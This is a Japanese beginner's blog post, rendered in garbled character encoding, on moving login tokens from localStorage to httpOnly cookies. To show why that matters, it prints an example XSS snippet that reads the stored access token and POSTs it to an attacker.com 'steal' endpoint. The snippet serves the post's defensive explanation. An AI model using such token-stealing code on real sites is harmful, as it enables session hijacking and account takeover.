ð ïž ãŸãã¯åããïŒã§ããã®ããšã«èããã¹ããã»ãã¥ãªãã£ãã®è©±
å ¬é: 2025幎05æ26æ¥
Webã¢ããªãéçºããŠãããšããŸãããã°ã€ã³æ©èœãã€ãããããšæããŸãããã
æåã¯ãšã«ãããåãããšãã倧äºã§ããåãããã§ããã
ãã°ã€ã³ãããããã·ã¥ããŒãã«é·ç§»ãã
ããäžåºŠéããããã°ã€ã³ç¶æ ãæ®ã£ãŠãã
ããã°ã€ã³ç¶æ ãä¿æãããã«ãã§ãã¯ãã€ãããèšæ¶ããã
ãŸãã¯ãããŸã§ã§ããã°ããããåãããïŒããšãã³ã·ã§ã³ãäžãããŸãã
ã§ããããã ãã§çµãã£ãŠã¯ãããŸããã
ä»åã¯ãããŒã¯ã³ã®ä¿åå Žæãã«ã€ããŠãã»ãã¥ãªãã£ã®èгç¹ããããšã§ã¡ãããšèããããšãã話ã§ãã
ãŸãæè»œã«åããæ¹æ³ãšããŠãã䜿ãããã®ãããã§ãïŒ
localStorage.setItem("accessToken", token);ãã°ã€ã³åŸã«ããŒã¯ã³ãååŸã㊠localStorage ã«ä¿åããæ¬¡åã¢ã¯ã»ã¹æã« localStorage.getItem() ã§èªã¿åºãã°ãããã°ã€ã³ç¶æ
ãä¿æããŠããããã«èŠããã ãšããå®è£
ã«ãªããŸãã
ããããšãŠãæè»œã§åããŸãã
localStorage ã sessionStorage ã¯ãJavaScript ããç°¡åã«èªã¿æžãã§ããŸãã
ãšããããšã¯ã**æªæã®ããã¹ã¯ãªããïŒXSSæ»æïŒ**ãå
¥ã蟌ãã ãšãã以äžã®ãããªããšãå¯èœã«ãªããŸãã
const stolenToken = localStorage.getItem("accessToken");
fetch("https://attacker.com/steal", {
method: "POST",
body: JSON.stringify({ token: stolenToken }),
});ããã¯æ¬åœã«å±éºã§ãã
httpOnly ãã©ã°ãã€ãã Cookie ã«ããŒã¯ã³ãä¿åãããšãJavaScript ããã¢ã¯ã»ã¹ã§ããŸããã
ã€ãŸããXSSæ»æã®è¢«å®³ã倧ããæžããããšãã§ããŸãã
res.cookies.set("access-token", token, {
httpOnly: true,
secure: true,
sameSite: "lax",
path: "/",
maxAge: 60 * 60 * 24 * 30, // 30æ¥
});ãã®ããã«èšå®ããã°ãããŒã¯ã³ã¯ ãµãŒããŒã«èªåã§éä¿¡ãããã¯ã©ã€ã¢ã³ãåŽã§ã¯è§Šããªãç¶æ ã«ãªããŸãã
åå¿è ãé¥ããã¡ãªèœãšã穎ã¯ããåããããOKïŒãã§çµããããšã§ãã
ã§ããWebã¢ããªãå°ããã€äœ¿ããããã«ãªã£ãŠãããšã
ãæªæããã¢ã¯ã»ã¹ããããªãããŸããããå®ãå¿
èŠãåºãŠããŸãã
ã ããããã
ãŸã㯠localStorage ãªã©ã䜿ã£ãŠãåããã°ã€ã³æ©èœããäœã
次ã«ã»ãã¥ãªãã£ã«ã€ããŠèª¿ã¹ãŠãCookieããŒã¹ã«ç§»è¡ãã
ãšããæµãã§éçºããŠããã®ããèªç¶ã§ããããŠæ£ããé åºã ãšæããŠããŸãã
ð ããŸãïŒèŠããŠããã¹ããã€ã³ããŸãšã
ã»ãã¥ãªãã£ãå®ç§ã«çè§£ããŠããå®è£
ããå¿
èŠã¯ãããŸããã
æåã¯ããã°ã€ã³ã§ããïŒç¶æ
ãä¿æã§ããïŒããšãããšããã§æºè¶³ããŠããŸãããã§ãå®éã«èªåã§ãªãªãžãã«ã¢ããªãäœãé²ããŠããäžã§ã**ãããä»äººã®ãã©ãŠã¶ã§èªåãã°ã€ã³ããããïŒããæªæããã³ãŒããå
¥ã蟌ãã ãïŒã**ãšããªã¢ã«ãªå±æ©æãèœçããŠããŸããã
èªåã®ã¢ããªã«ãŠãŒã¶ãŒãå¢ããããæ©èœãå¢ããŠãããšããæ£ããåãããšãã ãã§ã¯è¶³ããªããšæ°ã¥ããŸãã
åããã®ãã§ãããããããæ¬¡ã«ãã©ãå®ããããçå£ã«èããããããã«ãªã£ãââããã¯ãªãªãžãã«ã¢ããªãäœã£ãŠã¿ãããããã®æ°ã¥ãã§ããã

ã1ç« ãäºåæºåã®æ¯ãè¿ã
ã2ç« ãWebã¢ããªã±ãŒã·ã§ã³æŠèŠã®æ¯ãè¿ã
ãReact åå¿è åããããŒã¿ååŸããã£ãšåããããããªããTanStack Query ã®ç޹ä»
å³ã§çè§£!!䞊å(Concurrency)䞊è¡(Parallelism)ã®éã
ãã¬ã€ãã³ã·ã£ãŠäœïŒïŒïŒãããå§ãã調æ»ã楜ããã£ã話
5ç« æ¯ãè¿ããš12æã®ç®æšèšå®